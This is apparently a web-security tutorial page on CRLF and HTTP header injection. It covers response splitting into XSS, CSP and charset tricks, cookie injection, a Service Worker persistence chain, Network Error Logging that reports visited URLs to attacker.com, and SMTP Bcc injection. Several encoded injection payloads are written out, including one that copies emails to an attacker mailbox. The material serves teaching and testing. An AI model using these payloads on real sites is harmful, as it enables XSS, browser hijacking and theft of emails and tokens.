CRLF / Header Injection

Manipulate HTTP headers in your favor or insert completely new ones with even more control

HTTP is a plaintext protocol that works with Carriage Return (\r) Line Feed (\n) delimited headers. When user input lands in the response headers from an HTTP server, injecting these CRLF characters can result in some client-side attacks abusing headers.

Response Splitting

The first thing you should think about when you are able to inject a newline into a response, is if you can inject two newlines. This signifies the end of headers and start of body for HTTP responses, so you'll suddenly be writing a body. In HTML this means you can write <script> tags or similar things to achieve Cross-Site Scripting (XSS):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 36
Some-Header: [INPUT]

<body>This is the normal body</body>

In place of [INPUT], we will now put two CRLF sequences followed by the HTML body we want to inject.

Payloadarrow-up-right: x%0D%0A%0D%0A<script>alert(origin)</script>

Exploit
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 36
Some-Header: x

<script>alert(origin)</script>

<body>This is the normal body</body>

Note that the Content-Length: is still limited, it cuts off the response at the new end, but our injected content comes first:

Example in browser showing injected content and partially original content

Content Type

If the response isn't HTML but something like JSON instead, you can still overwrite the Content-Type: header with another one. The last one counts!

Payloadarrow-up-right: x%0D%0AContent-Type:%20text/html%0D%0A%0D%0A%3Cscript%3Ealert(origin)%3C/script%3E

More tricks for [INPUT] inside the existing Content-Type header itself can be found in this writeuparrow-up-right. It contains a trick to escape the HTML context if your payload in the body is limited.

Content-Security-Policy

A Content-Security-Policy: may be in effect on the resulting page if it comes before your injection point. If your XSS is limited by this, Content-Security-Policy (CSP) bypasses are the first thing you should look at of course. Using this Response Splitting gadget, there are some unique extra bypasses for both Chrome and Firefox.

Chrome load 'self' with Content-Length truncation

It's possible to craft almost a completely arbitrary response using Response Splitting, with your exact needed headers and body. If script-src 'self' is defined, you may only load scripts from the current domain, which seems safe. We can bypass it, however, by crafting a 2nd Response Splitting URL and loading that as a script:

This might load a response like this:

Uncaught SyntaxError: Unexpected identifier 'html'

It quickly throws an error, because of the suffix content from the original uninjected page. The trick to solving this shared by @siunam321arrow-up-right, is to add a small Content-Length: header that cuts off the body right after our payload:

This will execute successfully, so the final payload starting from the initial HTML page with a CSP becomes:

Firefox replace CSP

But specifically in Firefox there is another trick that can almost redefine the policy. Issue 1864434arrow-up-right tracks this behavior where using the special multipart/x-mixed-replace content type, the body has the following structure:

You may recognize the similarities with the multipart/form-data type commonly used in file upload requests. The body starts and ends with a boundary. Documents within those replace the previous one. The above would result in "Second message" in a text/plain content type to be displayed.

Interestingly, you can replace other headers too, like Content-Security-Policy. While it won't fully replace the header or specified directives, you can only add directives that the main header didn't specify, similar to if you would append content to the existing header. With script-src and style-src directives, you can use the uncommon script-src-elemarrow-up-right and style-src-elemarrow-up-right to set a laxer policy for specifically <script> and <style>/<link rel=stylesheet> elements. You can just enable all of the unsafe features again:

Charset

If your input is filtered/sanitized, you can also abuse the charset of the content type by overwriting it in a header. The UTF-16 charset, for example, has null bytes in between each character:

Payloadarrow-up-right: x%0D%0AContent-Type:%20text/html;%20charset=UTF-16%0D%0A%0D%0A%3C%00s%00c%00r%00i%00p%00t%00%3E%00a%00l%00e%00r%00t%00(%00o%00r%00i%00g%00i%00n%00)%00%3C%00/%00s%00c%00r%00i%00p%00t%00%3E%00

If XSS isn't an option, it can also be combined with UTF-16 iframe/stylesheet content to leak content in the response.

Redirect with Location:

One common situation is when your injection point is the value of a Location: header in a 30X redirect. The problem is that the browser will normally just redirect to the given location without rendering the body. This prevents us from directly injecting a <script> tag, for example.

First of all, an open redirect may be possible if the URL isn't validated strictly. See the following examples:

This isn't nearly as impactful as XSS though, but fortunately Chrome has a trick to ignore the redirect and show the body instead. If the Location: is empty it will be ignored.

So if your input starts in the Location: header, simply inject two \r\n sequences and then your XSS payload as the body. The payload will look like this (testarrow-up-right):

Response Headers

If response splitting isn't an option for whatever reason, you may still get interesting results out of inject some special headers that the browser understands.

One of the simplest is just setting a cookie in the response with the Set-Cookie: header. This has the same impact as Cookie Tossing, but if you're targeting the same host would also allow setting __Host- prefixed cookies.

You can only set one cookie per header, but this is no problem if you can inject multiple headers. One fact that makes this especially useful is the fact that it works on redirects:

Service-Worker-Allowed

The Service-Worker-Allowed:arrow-up-right header is uncommon, but useful for redefining where a Service Workerarrow-up-right may be scoped. These workers are require to be loaded from a path on the origin and by default they may only intercept requests from the same directory as it was served from. Eg. /uploads/sw.js will only be able to intercept /uploads/*, not /anything-else.

Setting this header to / disables the restriction and lets you intercept all paths starting with /. This is especially useful for getting more impact out of Response Splitting, since Service Workers are permanently stored persistent between browser sessions, allowing requests to be intercepted and maintain in control of the victim's browser.

You'll have to do this in two steps (two Response Splitting payloads):

  1. Return XSS, call navigator.serviceWorker.register(...) with a scope of / pointing to another Response Splitting payload that returns the Service Worker and this special header.

  2. Return the Service Worker source code and Service-Worker-Allowed: /, with correct Content-Type.

From now on, every URL that the victim visits will be exfiltrated to attacker.tld, and gets <script>alert(origin)</script> as the response, triggering an XSS popup until the Service Worker is manually unregistered (via chrome://serviceworker-internals/).

circle-info

Tip: Use Chrome load 'self' with Content-Length truncation to remove any excess body after your serivce worker source code if needed.

The Link:arrow-up-right header is a special one that has many different features. In the header value you provide a link in between angle brackets (<>), followed by attributes like rel= that specify what it's used for. Using a comma (,) it's possible to provide multiple link rules in one header.

The following table shows which rel types are recognized. Note that not all of them actually do something, or work in the header instead of a <link> tag:

List of all rel= attributes and their meaning

NEL (Network Error Logging)

Network Error Loggingarrow-up-right is a part of the Reporting APIarrow-up-right, responsible for sending reports about certain things happening in your browser. These reports can be sent externally, for example to a server you control. One of the most useful for attackers is NEL which will leak all URLs that get visited. Using the success_fraction parameter it's also possible to leak successful URLs. include_subdomains allows leaking URLs upon DNS failures of domains under the one it was set on.

circle-check

This is all configured using response headers, and once registered, will keep being active for quite a while (not only a single request). First, you need to define an endpoint to report to:

Then, configure logging 100% of the error and 100% of the successful requests that created endpoint:

Together, the headers you inject should look something like this:

From now on, the next 600 seconds (10 minutes) all top-level requests to the domain that these response headers were set on will be sent to https://attacker.com/reportarrow-up-right. Requests will be batched and sent every minute, and debugging this can be annoying. There are some tips in the article below to get DevTools to show you which requests are queued:

Explanation of the Reporting API and some debugging tips

You can also use the --short-reporting-delay startup flag in Chrome while testing to make the minute-delay shorter and receive reports instantly.

circle-info

Tip: while testing, make sure the host and reporting endpoint use https://, and Cloudflare is not overwriting it with its own cf-nel. Set up a working receiving server using interactsh-client -varrow-up-right.

This header adds the link URL as a stylesheet to the returned page, allowing CSS Injection. The syntax is as follows:

Only Firefox understands stylesheets through a header, it will be ignored in Chrome. I found this once in the real worldarrow-up-right in a partial Link: header injection that reflected the URL, to style the 404 page arbitrarily. It also shows that the first rel= attribute takes priority.

rel="preload"arrow-up-right with referrerpolicy="unsafe-url"

Due to what's arguably a chrome bug, injecting a header in a subresource request, even a cross-site one, you can leak the current URL in the Referer:. Check out HTML Injection.

CORS

If your goal is to leak some content of the response that you are at the same time injecting into, this is possible by adding permissive CORS headersarrow-up-right. For example:

If you can trigger the header injection via a fetch() request, this now allows you to read the body and any other headers it responds with:

circle-exclamation

Carriage return (\r) only

A protection some applications take to CRLF issues is blocking newlines (\n) in header values. While this sounds correct, the carriage return (\r) character is actually just as important to block.

Chrome can split headers by \r (sourcearrow-up-right) allowing an injection without newlines to still use any of the attacks mentioned here under Response Headers. For example:

Burp Suite response showing Set-Cookie injection with only \r

Even though Burp Suite does not recognize it as a new header, Chrome does, and the cookie will be set:

Chrome recognizing the header and saving the cookie to storage
circle-exclamation

SMTP

Just like HTTP, SMTP for sending emails is also a CRLF-delimited plaintext protocol with headers. These emails are often sent by applications automatically with information to you like a password reset or notifications. Such emails are often sensitive and if an attacker-controlled input can mess with the request it can get leaked, or malicious content can be injected.

A typical SMTP request looks like this:

A common place to inject is the RCPT TO: SMTP header as this is where the email is sent to. By injecting CRLF characters, new headers like RCPT TO:[email protected] to receive a copy of the email in your inbox (very dangerous for secrets like password reset tokens!). More commonly you will also see an injection into the DATA section where headers like Bcc can be added to send a copy to yourself or add content to the email for an indistinguishable phishing attack. A common place is the Subject or From/To headers:

Subject Payloadarrow-up-right: a%0D%0ABcc:%[email protected]%0D%0A%0D%0A%3Ch1%3EPhishing!%3C/h1%3E

Last updated